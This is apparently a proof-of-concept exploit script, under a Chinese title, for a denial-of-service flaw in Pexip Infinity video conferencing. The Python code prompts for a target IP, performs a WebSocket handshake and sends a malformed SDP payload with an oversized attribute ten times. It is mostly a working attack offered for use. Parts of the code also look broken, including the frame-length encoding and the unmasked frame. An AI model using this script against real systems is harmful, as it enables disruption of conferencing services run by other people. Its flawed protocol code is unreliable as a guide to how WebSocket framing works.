CVE-2025-66443 Pexip Infinity 拒绝服务漏洞

# CVE-2025-66443 PoC - Pexip Infinity DoS via Malformed Signaling # Affected: Pexip Infinity 35.0-38.1 (Direct Media for WebRTC) import socket import struct import random def create_malformed_sdp(): """Generate malformed SDP to trigger input validation error""" sdp = "v=0\r\n" sdp += "o=- {} {} IN IP4 127.0.0.1\r\n".format(random.randint(1, 999999), random.randint(1, 999999)) sdp += "s=Malformed Session\r\n" sdp += "c=IN IP4 0.0.0.0\r\n" # Malformed attribute causing validation failure sdp += "a=control:{}:\r\n".format("A" * 10000) sdp += "t=0 0\r\n" return sdp def send_malformed_signaling(target_ip, target_port=443): """Send malformed signaling message to Pexip Infinity""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # WebSocket handshake ws_key = "SmFWS2V5" + str(random.randint(100000, 999999)) request = f"GET / HTTP/1.1\r\n" request += f"Host: {target_ip}:{target_port}\r\n" request += "Upgrade: websocket\r\n" request += f"Sec-WebSocket-Key: {ws_key}\r\n" request += "Connection: Upgrade\r\n" request += "\r\n" sock.send(request.encode()) # Send malformed signaling frame payload = create_malformed_sdp() frame = b'\x81' + bytes([len(payload)]) sock.send(frame + payload.encode('utf-8')) sock.close() return True except Exception as e: print(f"Error: {e}") return False if __name__ == "__main__": target = input("Enter target IP: ") print(f"Sending malformed signaling to {target}...") for i in range(10): send_malformed_signaling(target) print(f"Packet {i+1} sent")